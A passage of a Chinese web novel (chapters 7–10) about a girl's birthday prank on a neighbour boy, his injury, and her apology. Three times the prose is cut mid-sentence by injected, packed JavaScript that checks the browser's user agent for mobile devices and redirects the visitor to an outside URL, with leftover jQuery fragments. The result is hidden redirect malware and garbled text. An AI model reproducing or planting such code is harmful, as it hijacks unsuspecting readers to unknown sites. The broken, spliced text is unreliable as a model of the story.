季苒小声嘟囔道：“那他怎么不过来了？” 最后几人齐刷刷望向宋西宝。 宋西宝冷笑一声，直接招呼伙伴们一起去另一个地方玩了。 被几人排挤的程书逸顶着大太阳站在原地，看着他们有说有笑地走远后，忍不住握紧了稚嫩的拳头。 7. 生日 宋西宝领着小伙伴们来到了一片新的空地玩。 蒋博光本来期待着宋西宝能出手教训程书逸一顿，结果她却只是走开了。 蒋博光有些不满道：“西宝你是不是害怕打不过他啊？” “我是怕我一出手就给他吓哭了，就跟某个爱哭鬼一样！”宋西宝翻着白眼说。 蒋博光知道她是在说自己，表情别别扭扭的下不来台。 宋西宝忙说：“好了好了，我已经想了个新的主意可以整他，你们要不要听？” 蒋博光一听，一下又来劲了：“什么什么？” 宋西宝招呼几人凑近，把自己后天要举办生日会的事以及打算整蛊程书逸的计划给他们说了一遍，蒋博光听完拍手大笑道：“这个好这个好！哈哈哈！” 季苒却说：“这不好吧，万一真吓着他了怎么办？” 蒋博光说：“真吓着才好呢！谁叫他整天看不起我们！”又对着季苒阴阳怪气道，“你要是怕就别跟我们一起！搞不清楚自己是哪队的了……” 季苒的父母在她六岁的时候就离异了，她原来随父姓白，叫白苒，爸妈离婚后，妈妈便给她改了姓，随母姓季。 季妈妈一直在外地打工，很少时间回来，季苒就一直跟着外婆生活。 可能是因为家庭原因，她从小性格就特别腼腆内向，要不是宋西宝拉着她一起，她根本不敢跟蒋博光这些男生一起玩。 此时听蒋博光这么说，季苒委屈得眼圈一下就热了，头也埋了下去。 宋西宝忙抬手打了蒋博光胳膊一下，说：“你说什么呢！” 蒋博光没想到季苒面皮这么薄，看她要哭的样子一下也有点慌神，忙道：“季苒我不是说你，我就是……” 季苒没等他说完眼泪就下来了。 蒋博光：“……” 宋西宝如临大敌，忙指挥蒋博光给季苒道歉，蒋博光照做了，季苒的眼泪却流得更凶了。 最后宋西宝和方思彤把她拉到一边去哄了半天才哄好，再拉着季苒回去时，宋西宝恶狠狠瞪了蒋博光好几眼，蒋博光心虚地缩着脖子，再不敢胡咧咧了。 几人玩到日落大人们开始喊回家吃饭了才分开，临分开前，宋西宝最后交代方思彤道：“彤姐，后天你可是关键！那道具我就交给你负责了啊！” 方思彤点点头，说：“放心，包我身上！” 旁边周笃文目露忧愁地看着她俩，心想：这还真是一个敢想一个敢做啊…… 很快时间就到了宋西宝生日这天。 一大早谭淑媛就来叫她起床吃饭了，宋西宝赖床不想起，宋卫国便端着面碗进了房间，让她先在床上把早饭吃了再睡。 结果早饭吃完，她人也彻底精神了。 爸妈在外面喊她。 宋西宝打着哈欠揉着眼睛脚步拖沓地打开了卧室门，然后—— “哇！”宋西宝看着眼前这一幕，情不自禁地发出了惊喜的叫声。 只见客厅天花板上飘满了五颜六色的气球，甚至沙发上都堆着气球，而她的斜对面——电视墙上还贴了两排圆溜溜的彩色大字，写着：祝宝贝女儿，生日快乐！ 爸妈并排站在厨房门口，满含爱意地看着她说：“宝宝生日快乐！” 宋西宝惊喜得实在不知道如何是好了，直接一头撞进了爸妈怀里。 她瓮声瓮气地问：“你们什么时候弄的啊？” 宋卫国说：“昨天晚上你睡着以后我们弄的，弄了好久哦，你妈妈还怪我不会吹气球嘞！” 谭淑媛嗔怪道：“本来就是你不会吹！我让你买个打气筒回来，你非说你来负责吹，结果一个都吹不起来，最后全是我吹的，嘴巴都给我吹肿了。” 宋西宝听她这么说，忙抬头垫着脚要看她的嘴巴。 谭淑媛说没事，宋西宝坚持要看，最后谭淑媛俯身指给她看，宋西宝小心翼翼地对着妈妈的嘴巴吹了吹，夫妻俩瞧着这么个大宝贝，一颗心都化成了一滩水。 下午，小伙伴们陆陆续续都来参加生日会了。 大家一进门，瞧见客厅的布置都直呼“哇塞”，宋西宝得意道：“这都是我爸我妈连夜给我弄的，厉害吧！” 大家都很给老大面子，直呼厉害厉害。 有大人在，几个上门做客的孩子表现得都比较拘束，宋爸宋妈看出来了，忙招呼他们随意吃喝，然后两人就进了厨房忙活，不怎么出来了。 没有大人在场后，大家明显更放松了。 这时周笃文突然取下书包，从包里掏出包装好的礼物递给宋西宝道：“老大，生日快乐！” 宋西宝没想到自己还有礼物收，愣了一下。 旁边蒋博光“啊”了一声，懵道：“要送礼物的吗？没人跟我说啊！” 季苒一下紧张起来，结巴道：“我、我也没准备礼物。”说着又看了一眼同样背着书包的方思彤，问，“思彤你也准备礼物了吗？” 方思彤摇摇头，看她看着自己身上的书包，又耸了耸肩说，“这里面是老大晚上要用的道具。” 季苒哦哦两声，心里这才好受了点。 宋西宝看大家这样，忙摆手道：“哎呀没事！本来就不用准备礼物啊！我以前从来都没收过生日礼物，除了我爸妈。” 周笃文尴尬道：“我这个也不是我自己准备的，是我妈听我说要去给朋友过生日，非让我拿上，说要有礼貌什么的，所以我……” “知道啦知道啦。”宋西宝打断周笃文，从他手上接过礼物放到一边，然后屁颠颠跑到电视机跟前蹲下，拿起一张碟片晃了晃说，“我爸今天早上刚给我租的新碟片，你们看吗？是个鬼片！” 大家的注意力很快被宋西宝手上那张碟片给吸引走了，蒋博光一脸兴奋问：“啥名字啊？吓不吓人？” 宋西宝看了眼封面，说：“《人吓人》，应该还好吧？” 季苒一听就捂着眼说自己不看不看，结果左右两边方思彤和蒋博光都拽着她胳膊非让她看。 蒋博光说：“不吓人的，一起看嘛！” 季苒半信半疑地放下手，方思彤递给她一个抱枕，季苒忙一把抱住了，宋西宝笑着说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879946|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我放了啊！” 影片开始后，几个孩子沙发都不坐了，就跟地上挤一起坐着，边吃零食边看鬼片，季苒全程都是半捂着眼看的，中间蒋博光故意吓了她一声，直接把季苒眼泪都吓出来了。 时间稍晚一点，程家一家三口也上门赴宴了。 敲门声响的时候谭淑媛和宋卫国还在厨房忙，宋西宝想看完最后一点剧情，拖拖拉拉地喊着“来了来了”，边往门口走边回头望着电视机。 “生日快乐！西宝！” 门打开，古晓琴捧着一大束向日葵朝她露出笑脸，宋西宝又惊又喜地接过鲜花，还没来得及道谢，一旁的程方舟又跟着递上一个大蛋糕道：“生日快乐！闺女！” 宋西宝看着眼前这个戴眼镜长得斯斯文文就像放大版程书逸的叔叔，心想，这个叔叔看着可比她爷爷温柔多了！ 宋西宝乖乖喊：“方舟叔叔好！” “你好呀~小西宝！”程方舟摇头晃脑地故意用怪声音逗她，宋西宝被逗得咯咯直笑，紧跟着谭淑媛就擦着手出来了，招呼道，“哎呀老程晓琴，你们咋在门口这儿站着啊？快进来进来！” 程家一家三口来了以后，家里一下更热闹了。 谭淑媛本想给他俩泡杯茶，结果古晓琴一个劲儿地摆手说不用，喝水就行。 看谭淑媛准备收拾饭桌了，古晓琴立马就跟着去帮忙了，程方舟则晃悠到厨房里去给今天的掌勺师傅宋大厨帮忙了。 客厅里，鬼片已经放完了，蒋博光拉着周笃文还在讨论刚刚的剧情，宋西宝忽然问单独坐在沙发上显得跟他们格格不入的程书逸道：“程书逸，你想看什么？我们家有鬼片，还有动画片。” 对于宋西宝的主动搭话，程书逸心里有点惊讶，不过他面上没表现出来。 他说：“我看什么都行，你随便放吧。” 季苒忙说：“看动画片吧西宝！” 她是真不想再看鬼片了。 周笃文、蒋博光还有方思彤看季苒胆小那样都笑，宋西宝也笑，程书逸不知道他们在笑什么，宋西宝主动给他解释说：“刚刚季苒看鬼片都吓哭了哈哈哈！” 季苒忙道：“是蒋博光故意吓我的！” 蒋博光做了个鬼脸给她，方思彤忙提醒他道，“待会儿季苒要是又哭了你负责哄啊！” 季苒羞愤地喊了一声：“思彤！” 这时动画片已经开始放了，宋西宝忙打断几人争论说：“开始了开始了！” 这次，她没有跟其余小伙伴一样坐在地上看，而是坐到了沙发上程书逸旁边。 程书逸转头看了她一眼，有些奇怪，但宋西宝转过来看他时，他又急忙收回了目光。 宋西宝忽然凑近了问他：“程书逸，待会儿我们吃完饭打算下楼去玩，你跟我们一起去吗？” 程书逸不知道为什么突然间她又愿意跟自己一起玩了，但他也没问原因，只是问：“玩什么？” 宋西宝说：“你别管玩什么，你就说你想不想去嘛？” 程书逸想都没想就点了头，说：“想去。” 8. 整蛊 宋大厨今天给自家闺女置办的这场生日宴还是比较正式的，并不是随便做几个家常菜就算了，而是讲究个冷热咸甜，一上来就先陆续上了六七个凉菜，摆盘一道比一道精致。 程方舟擦完杯子按人头挨着摆好，朝厨房喊道：“卫国，差不多行了！别做太多了！待会儿吃不完浪费呢！” 古晓琴端着碗筷出来，揶揄道：“人家是为了给闺女过生日，你以为专为了接待你啊！” 程方舟不好意思地笑了，说：“抱歉抱歉，是我自作多情了，哈哈哈。” 谭淑媛跟着从厨房探出半拉身子道：“谁说的！我们也是专门为了迎接程老师的哈！” 这会儿天都快黑了，大人们说说笑笑好像完全不着急吃饭似的，宋西宝下午吃了很多零食，这会儿虽然也不饿，但闻见饭香味她还是觉得有些嘴馋。 她起身溜进厨房，宋卫国正在做拔丝地瓜，瞧见她进来东张西望的，知道她是想偷嘴，便悄声将她招了过去，拿筷子给她夹了一块旁边盘子里已经做好的拔丝地瓜—— “小心烫啊！” 宋西宝使劲吹了两下忙不迭地喂进嘴里咬了一口，结果被烫得又忍不住吐了出来，好险用手接住了。 宋卫国摇着头笑，干脆找了个小碗给她装着吃。 “爸，咱们今天吃这么多菜啊！”宋西宝靠着橱柜门边偷嘴边打量起灶台上那些堆起来的盘子。 宋卫国说：“开心吧？” “嗯！”宋西宝重重点了下头，原地转了一圈道，“我都感觉幸福死了！你们回来真好！” 宋卫国腾出手来摸了摸女儿的小脑袋瓜。 这时，谭淑媛忽然在外面喊了一声：“宝宝，爷爷的电话！” “哦！来了！”宋西宝忙搁下碗出去了。 等西宝接完电话，席也差不多要开了。 他们家餐桌有点小，一次性坐不下这么多人，谭淑媛便索性在茶几上给他们几个小孩单独摆了一桌。 宋卫国终于得闲从厨房里出来了，程方舟忙起身招呼道：“快来卫国！菜太多了！真别弄了，快坐下来一块吃！” 宋卫国围裙都还没来得及取，先从餐边柜里掏了瓶酒出来，晃晃，说：“怎么样老程？整点？” 程方舟轻笑一声，手往妻子那边一指，说：“那我要先问问我们家领导的意见。” 古晓琴嗔怪地打掉他手，说：“你自己想喝就喝，老拿我说事……” 程方舟充分理解领导意思，忙端起面前的空酒杯递出去道：“行！领导同意了！那咱哥俩儿今天好好喝点！” 吃饭时，爸妈和程家夫妻都来给西宝敬了一杯酒，西宝乐呵呵地端起橙汁回敬他们，还学着她爷爷的表情和动作，装模作样地说了句：“干了！” 那小模样逗得几个大人是前仰后合的，程方舟忍不住夸她说以后肯定是个学表演的好苗子！ 热菜还没上完，宋西宝就闹着说自己吃饱了想下楼去玩，方思彤她们几个接收到西宝的眼神也都放下筷子说吃饱了。 程书逸虽然有点后知后觉，但很快也跟上节奏放下了筷子。 谭淑媛原本想让他们等等，把后面的菜吃一吃再去玩。 古晓琴劝她道：“他们下午吃了那么多零食，哪儿还有肚子吃饭呀，你等他们下楼去跑几圈，玩累了消化了回来再吃！” 谭淑媛给女儿理了理衣服，说：“下楼玩可以，要注意安全啊！” “知道啦妈妈！”宋西宝保证完，吆喝着小伙伴们飞快地跑了。 一群孩子闹哄哄地从七楼往下跑，楼道里声控灯有的亮有的不亮，碰着不亮的蒋博光就会故意转身去吓季苒，吓得季苒叽哇乱叫的。 黑暗中什么声音都有：尖叫声、笑闹声、宋西宝的吼声……程书逸跟着他们往下跑，也忍不住笑了起来。 他们跑到大梧桐树下，宋西宝率先提议道：“咱们来玩捉迷藏吧！” 蒋博光忙举手说：“我同意！” 其余几人也都同意，只有程书逸露出略显犹豫的表情，说：“可是天黑了玩捉迷藏会有点危险。” “你该不会是怕黑吧？”蒋博光嘲笑道，又很不屑地说，“怕你就别玩！” 程书逸不悦地瞧了他一眼，果然上当，说：“好，我参加。” 宋西宝清清嗓子，又宣布说：“最后一个被抓住的赢家，本寿星还有神秘礼物送给他！” “神秘礼物？”程书逸问。 “对！非常非常好的礼物！”宋西宝朝他眨眨眼。 玩什么游戏定好了，周笃文按计划提出疑问道：“那第一把谁来当鬼？” 宋西宝顺势接话道：“我来吧！” 他们又详细制定了一下躲藏的范围和条件，然后就正式开始玩游戏了。 宋西宝乖乖捂着眼睛面朝大树站着数数，等数完一百个数后便开始四处搜寻伙伴们的藏身地点。 她很快找到了蒋博光和周笃文的藏身地，在两人的提醒下，她又提前锁定了程书逸的藏身地点，然后直接绕过了。 宋西宝装模作样地继续找着，时不时干咳两声，躲在暗处的方思彤接收到信号后故意弄出了点动静，宋西宝循声过去，两人接上头后，宋西宝指指她包里的东西，问：“还活着吗？没憋死吧？” 方思彤摇摇头，眼神里闪烁着难以抑制的兴奋道：“没死，盒子后面我开了孔给它透气。” “行，季苒呢？”宋西宝问。 方思彤表情无奈，指了下对面那堆废弃木料道：“她藏那里面了。” 明明商量好了都是演戏，结果最后就属她藏得最认真。 宋西宝把季苒也揪了出来。 季苒知道真正的计划要开始了，她还在试图劝阻她们：“西宝，真的要用那个东西吓他吗？万一把他吓坏了怎么办？” 宋西宝安慰她说：“不会的，他又不是你！再说了，我们这样做只是为了给他点教训，让他说话做事不要总是那么嚣张！这叫以彼之道还施彼身！” 季苒磕磕巴巴道：“那，那他要是哭了，回家告状，我们怎么办？” 宋西宝轻哼一声，说：“你放心，程书逸那种人，心高气傲的，他干不出来告小状的事。” 季苒无话可说了。 就这样，在大家的“通力合作”下，程书逸最后成为了唯一的赢家。 游戏结束后，大家围着他，宋西宝拿出方思彤提前准备好的盒子递给他道：“喏，神秘礼物，你打开瞧瞧吧！” 旁边蒋博光忍不住偷笑了一声。 程书逸不是没察觉到气氛怪怪的，但他秉持着对宋西宝的信任还是接过了盒子，然后在对方鼓励的眼神下轻轻拨掉搭扣，打开了盒盖—— 一个黑漆漆的不明物体瞬间被盒中机关弹射出来迎面跳到了他身上！ 宋西宝手指着他哈哈大笑，一个劲儿地说：“程书逸癞蛤蟆跳到你身上了！” 程书逸吓得大叫一声扔掉盒子，浑身鸡皮疙瘩都起来了。 他一边惊慌失措地拍打着身子，一边原地踩起了“鞭炮”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她心虚，也就没再央求，自己一个人抱着抱枕窝在沙发上发呆，心情可谓十分糟糕！ 她没想过事情会变成这样…… 程书逸怎么会突然摔倒然后又受那么重的伤呢？ 宋西宝回想当时的场景——他流了好多血，除了爷爷杀鸡的时候，她还从来没见过这么多血…… 宋西宝看着茶几上已经打开插好蜡烛的蛋糕——这蛋糕真大，最上一层铺了好多水果，还有漂亮的奶油小人，上面写着：祝西宝生日快乐！ 蛋糕是程叔叔给她买的，晓琴阿姨还送了她花。 宋西宝视线一偏，注意到放在电视机旁边的粉色袋子——这个袋子好像是程书逸进门时拿在手里的。 她放下抱枕从沙发上起身走过去打开了袋子，发现里面装着的是一个用礼品纸包装好的盒子。 盒子分量不轻。 宋西宝把礼盒取出来正反各看了看，发现绑着蝴蝶结的那一面上写着：祝：西宝妹妹生日快乐！ 宋西宝粗暴地把包装纸给撕开了。 里面是一个木头盒子。 她莫名地有点紧张，这盒子里装的会是什么呢？ 她轻轻拨开搭扣，打开盒盖一看，然后就愣住了。 盒子里面装着的是一只木雕小鸟。 不同于之前她在程家书房里看到的那只半成品，这是一只已经完工的木雕小鸟，制作者甚至还细心地给小鸟涂上了颜色。 愧疚瞬间如同海啸一般朝她汹涌扑来，宋西宝心揪了一下，满心里只剩下了一个念头—— 完了，她错怪程书逸了。 9. 请罪 古有廉颇负荆请罪。 今有她宋西宝效仿廉颇，负擀面杖请罪。 事实是，她在家里翻了半天也没翻着趁手的“荆”，最后逼不得已只好拿了厨房里她妈用来做包子的擀面杖。 宋西宝知道自己这次捅了大篓子，她下楼的时候就想好了，今天爸妈就是把她打得屁股开花她也认，谁叫她犯了这么大的错。 她唯一担心的，是晓琴阿姨和方舟叔叔经过这件事恐怕就不会再喜欢她了，他们估计会很讨厌她，还有程书逸也是，他肯定都恨死她了！ 宋西宝怀揣着这样的想法心如死灰地一路出了小区，然后在“陆林诊所”找到了爸妈及程家一家人。 她抱着擀面杖在外面转了两圈才敢进去，一进去就听见里屋穿白大褂的医生说：“……伤口创面不大，缝针倒是不用了，这个药三天一换，你们自己在家换或者来我这儿换都行。” 程家夫妻连忙给医生道谢。 宋西宝又听见古晓琴问：“医生，他这个以后会留疤吗？” 医生回道：“看恢复情况，可能会留个小疤，他男孩子嘛无所谓的，关键是要注意着这段时间伤口千万别沾水，洗脸洗头洗澡什么的都注意一下！” 程家夫妻：“好的好的，谢谢医生！” 大人们心疼地围着程书逸问他现在感觉怎么样？还很痛吗？ 宋西宝把擀面杖别进后腰，躲在拐角的地方耳朵竖得高高的正准备先偷听一会儿，结果一个穿白大褂的女医生从她面前经过，声音很大地问：“小朋友你躲在这儿干嘛？” 宋西宝急得忙给女医生使眼色，可惜女医生一点都不配合她，还转过去问里面：“这是你们孩子吗？” 宋西宝无奈，只好赶紧现身硬着头皮叫了声爸妈。 谭淑媛质问宋西宝，程书逸受伤到底是怎么回事？怎么好好地就撞到花坛边上去了？ 宋西宝沉痛地在心里为自己默哀了一秒钟，然后深吸口气，说：“是因……” “是因为我自己不小心在跑的时候踩到石头了，崴了一脚所以才摔倒的。”程书逸抢过宋西宝的话头。 宋西宝既震惊又不解地看向程书逸，但后者却垂着眼没有回应她的目光。 一直没说话的宋卫国直视着女儿脸上的表情变化，忽然问：“西宝，是小逸说的这样吗？” 宋西宝这下说是也不行说不是也不行，她又看了一眼程书逸，这次程书逸倒是看她了，不过却是淡淡的一眼，什么额外的信息都没有。 宋西宝硬着头皮说：“是，我们玩太疯了，当时追来追去的就……” 谭淑媛难得动怒道：“你出门之前我有没有交代你注意安全？！” 宋西宝垂下头，丧道：“交代了。” 谭淑媛还要再训，旁边古晓琴和程方舟两口子忙挡在母女俩中间当起了和事佬。 古晓琴说：“好了好了淑媛，这只是意外，小孩子嘛，追逐打闹难免会发生意外，西宝肯定也吓着了，你就别凶她了。” 程方舟也跟着劝了两句，谭淑媛满脸愧疚，宋卫国搂着妻子肩道：“今天这事真是对不住了，晓琴、方舟，要不依我说咱们再去大医院给小逸瞧瞧吧，拍个片子什么的，毕竟是撞到头了。” 谭淑媛赶紧说：“就是就是，咱还是带着孩子上那个市医院去看看，拍个片子保险！” “真不用啊！”程方舟哭笑不得地安慰他俩别太紧张，“那医生都说了么，就是撞破了个口子，愈合了就好了，真没事！” 宋西宝也说不清自己是因为愧疚还是被母亲凶了觉得委屈，总之听晓琴阿姨和方舟叔叔站出来帮她说话以后，她突然就鼻子有点发酸，紧跟着眼睛就开始发胀了。 宋西宝被爸妈带回了家里。 一进门，谭淑媛就忍不住皱起了眉——家里桌上地上全都乱糟糟的，餐桌下面还溅了一地的碎瓷片。 她这会儿心情不好，自然看什么都烦。 宋卫国看出来了，小心安抚着老婆的情绪，让她们母女俩顺边走去沙发那边坐着，自己则先去厕所拿了扫把簸箕出来收拾残局。 等清扫完了，宋卫国来到沙发坐下，同时看了眼旁边坐立不安的宋西宝说：“宋西宝，你站起来。” 宋西宝一听老爸叫她大名就知道要坏事，赶忙站了起来。 宋卫国又说：“站这儿来，到我面前来。” 谭淑媛看他表情不对劲，正想问怎么了，结果宋卫国抬手阻止她道：“我问她几句话，你先别说话。” 虽然宋卫国平时在家里扮演的都是慈父的角色，但他真的严肃起来的时候，尤其是像现在这样不苟言笑的说话时，还是很有威慑力的。 宋西宝根本不敢看他，头埋得恨不能埋到脚脖子那儿去！ 宋卫国问：“小逸受伤跟你有关是不是？” 宋西宝挣扎了片刻，没敢继续撒谎，点了点头。 宋卫国又问：“你怎么欺负他的？” 宋西宝吞吞吐吐地把事情说了一遍。 谭淑媛在旁边听得直喘粗气。 气氛静了一会儿，宋卫国又问：“为什么刚刚在诊所不说实话？” 宋西宝埋着头不吭声。 宋卫国又说：“人家小逸愿意帮你隐瞒，那是他心善！他把你当朋友！人家把你当朋友，你把人家当什么？” 最后一句话宋卫国明显动了怒，宋西宝吓得身子一抖，眼圈跟着就红了。 另一边，程家夫妻俩带着儿子程书逸也回到了家里。 古晓琴接了温热水，打湿了毛巾一点点给他擦着脸上的灰和干了的血渍。 程方舟在另一边坐下来看着他，忽然问：“儿子，你老实跟爸妈说，你究竟是怎么摔倒的？真是你自己不小心摔倒的，还是有别的小朋友欺负你？” 程书逸垂着眼不说话。 夫妻俩对视一眼，古晓琴柔声道：“小逸，爸妈呢，只是想问清楚事情究竟是怎么回事？你的态度爸妈都看出来了，你不想追究这件事，妈妈跟你保证，我们绝对支持你的决定！我们只是担心你。” 程书逸看眼妈妈，又看眼爸爸，低声把事情经过从头到尾交代了一遍。 夫妻俩听完原委稍微松了口气，他们预想的最坏的情况是有孩子故意推了他，但还好，事情的真相不至于太恶劣。 程书逸问爸妈：“西宝她是不是不喜欢我？” 古晓琴扑哧笑出声来，手指碰碰儿子的小脸道：“伤心啦？” 程书逸皱紧稚嫩的眉头，不吭声。 古晓琴说：“西宝她不是不喜欢你，可能是你们之间有误会，你想想你们第一次见面，人家那么主动要跟你握手问好，可你当时说什么了？” 程方舟还不知道这事，他好奇地问：“他说什么了？” 古晓琴无奈地瞥了自家儿子一眼，好气又好笑道：“他说人家手脏。” 程方舟：“哈哈哈哈哈哈！” 程书逸还是很犟，不服气地说：“她手本来就很脏。”又嘀咕道，“要是她愿意洗一下手的话，我肯定同意跟她握手。” 夫妻俩听了这话，笑得停不下来。 程书逸气闷地抬手想摸摸受伤的地方，结果被妈妈阻止了。 程方舟又问他：“刚刚在诊所，你淑媛阿姨问西宝你是怎么受伤的？你没说实话，你为什么要帮她隐瞒呢？” 程书逸理直气壮道：“也不算隐瞒，我确实是自己不小心踩着石头了所以才摔倒的，全部怪她身上也不公平。” “哦……”程方舟假装不懂问，“你是不是怕她爸妈知道了真相，会收拾她？” 程书逸先不愿意说话，过了会儿才小声说：“我感觉她有点害怕，所以……” 夫妻俩相视一笑，一切明了了。 最后，程家这边，古晓琴命令程方舟连夜加急给儿子上上有关社交礼仪的课程。 而老宋家这边，宋爸宋妈让宋西宝明天自己写好道歉信亲自上门去向程书逸道歉赔罪，并且勒令她从今天起一直到下礼拜开学，都不准出去玩了。 第二天上午，宋西宝憋在家里写了一上午的道歉信，道歉信写好以后，她先去找了方思彤，然后两人又一起上季苒家去了。 小小的卧室里，三个女孩挤在一张床上，正埋头钻研宋西宝新鲜出炉的道歉信。 季苒想起昨晚那个场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879948|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景到现在还心有余悸，她说：“当时真是吓死我了！我跟思彤本来想去你家找你的，但是周笃文说我们这会儿去就是添乱，所以我们就各回各家了。” 方思彤问：“老大，你爸妈后面揍你了吗？” 宋西宝摇摇头，把昨晚在诊所发生的事给她们说了一遍。 季苒听完相当惊讶：“啊！他人这么好都没告发你吗？” 方思彤也有点惊讶，最后想想说了句：“也许他真的是个挺骄傲的人。” “唉，别说了。”宋西宝仰面瘫倒在床上，愁眉苦脸道，“我都后悔死了，本来只是想跟他开个玩笑逗逗他的。” 季苒安慰她：“没事，程书逸他这么大度，他收到你的道歉信以后肯定会原谅你的！” 方思彤也说：“就是，大不了我也给他道个歉，毕竟东西是我做的。” 季苒忙说：“那我也道歉！我们一起给他道歉！” 宋西宝有气无力摆摆手道：“你们就别瞎凑热闹了，事是我起的头，肯定得我自己来收尾，唉，解铃还须系铃人呀！” 三人说着话的功夫，季外婆推开门笑呵呵地给她们端进来一小盘切好的西瓜，招呼她们起来吃。 宋西宝从床上一跟头爬起来，恢复笑脸道：“谢谢外婆！” 方思彤也跟着说：“谢谢外婆！” “不谢不谢。”季外婆笑呵呵地，转身出去前说让她们中午留下来吃饭。 季苒一听可高兴了，这还是第一次有朋友留在她家里吃饭呢！ 她忙拉着西宝的手央求她们留下来，可西宝却摇头说：“不行，我爸妈这次太生气了，他们说我开学前都不准出来玩了，今天要不是我说来给程书逸送道歉信，我妈都不准我出来。” “啊……”季苒表情一下变得很失望。 方思彤也叹气道：“我也不行。快开学了，我爸给我制定了预习计划，要不是他今天上午去学校开会了，我也出不来。” “是啊……快开学了。” 想起开学，季苒也惆怅起来，每次放暑假都是这样，刚放假的时候还觉得假期好长好长，预想中应该能玩好久了，结果不知道怎么的好像一眨眼假期就结束了。 季苒又问：“西宝，那你知道你在几班吗？” 宋西宝摇摇头，说：“不知道，我妈只跟我说转学的事都办好了，但是没跟我说在几班呢！” 方思彤说：“我跟季苒还有周笃文我们三个都在二班，要是老大你也能来二班就好了！” 宋西宝说：“我也想啊！”又问，“那蒋博光在哪个班？” 季苒说：“他在五班。” 宋西宝继续问：“那程书逸呢？” 季苒说：“一班，他还是一班的学习委员，成绩可好了！” 宋西宝好奇地问：“有多好？” 季苒说：“他一直都是年级第一。”又指着方思彤说，“思彤是年级第二。” 宋西宝对程书逸年级第一没啥感觉，毕竟老早就听爸妈说过他学习成绩很好了，只是…… “彤姐，深藏不露啊！”宋西宝边说着话手就奔着方思彤腰两边去了。 方思彤躲闪不及被她得手，痒得在床上边笑边扭。 闹够了，该办正事了。 宋西宝让季苒帮忙在她家里找了个小篮子，然后又从自己书包里取出来一大捆麻线。 季苒好奇地问她要干嘛？ 宋西宝说：“程书逸不就住你们家楼下的楼下嘛，我打算做个吊篮，然后把道歉信放进去，顺着你卧室的这个窗户边吊下去给他。” 方思彤听了，提出疑惑道：“你为什么不直接交给他？” 宋西宝理直气壮道：“我不好意思呗。” 季苒没忍住捂着嘴笑了。 宋西宝噘噘嘴，才不搭理她俩的嘲笑，飞快地绑好了篮子。 吊篮放下去的时候，方思彤又有了新的担心，问：“那他要是不在家或者没看见怎么办？” 宋西宝挠挠头，好像忘记考虑这个情况了。 方思彤自告奋勇道：“要不我下楼去告诉他一声？” 宋西宝琢磨了两秒，说：“行。” 10. 开学 方思彤火速下楼敲响了程家的门，万幸，程家有人，而且来开门的正是程书逸本人。 程书逸脸上受伤的地方还贴着纱布，看上去有点吓人。 方思彤速战速决交代道：“西宝有东西要给你，她在季苒家，会用吊篮吊下来给你，你记得收一下。” 程书逸手扶着门框表情很严肃地看着她。 方思彤想想又说：“不是整你的东西，她是想给你道歉。”她说完转身准备走，又折回来飞快地说了一句，“我也向你道歉，对不起。” 方思彤来去匆匆，蹬蹬蹬又跑上楼了。 厨房那边传来声音，古晓琴问：“小逸，是谁敲门啊？” 程书逸下意识撒了个谎，关上门说：“没谁，敲错了。” 程书逸进了卧室，来到窗边等着，过了会儿，果然看见楼上晃晃悠悠地吊下来一个小篮子。 今天天阴有风，吊篮被风吹得左摇右晃，程书逸内心挣扎了两秒，最后还是心软爬上书桌打开窗，把外面的吊篮一把抓了过来。 他看见篮子里用石头压着几张折好的纸，便把纸拿走然后把吊篮重新放了出去，很快，上面的人就把吊篮又收了回去。 程书逸打开折好的纸，一共有三张。 第一张是道歉信，字数不算多，但字写得挺工整，他飞快看完了，然后发现剩下那两张都是用铅笔画的小人画。 程书逸眼睛瞪大了些。 宋西宝仿照四格漫画的格式画了一篇漫画给他，漫画内容是名为“宋西宝”的火柴小人被“程书逸”大王各种“施虐”的过程，最后落款处她还画了一个哭泣的星星小人，旁边工工整整地写着三个大字：对不起。 程书逸心里别扭地轻哼了声，嘴角却没忍住翘了起来。 他拿着这几张纸反复看，心想：她还会画画呢！画得可真丑！ 九月初，梧桐一小要开学了。 开学前一天傍晚，谭淑媛正在家里数第二天报名要交的学费钱呢，忽然接到古晓琴电话。 谭淑媛接电话的时候，宋西宝就在旁边沙发上坐着边啃苹果边看漫画，电话刚一接通谭淑媛喊了声“晓琴”，宋西宝立马竖起耳朵听，可惜啥也没听着。 古晓琴在电话里急匆匆说程老爷子在家里摔了，万幸被邻居发现已经送往了医院，邻居刚给他们打电话让赶紧回去，但程方舟因为调任已经提前收拾行李去外地了，所以只能她先赶回去。 谭淑媛说：“老人摔倒是大事，是得赶紧回去，你别着急，路上千万要注意安全！” 电话那头古晓琴又说了什么，谭淑媛“嗐”了一声，说：“你还操心这个，明天我们带他去把名报了就行，你别管了。” “……” “是啊，是有点，没事，你先去看看实际摔成什么样了，别自己吓自己，孩子你不用担心，让他来我们家先住着，我管着他，你放心！” “……” “行行，我现在空呢，我马上过来。” 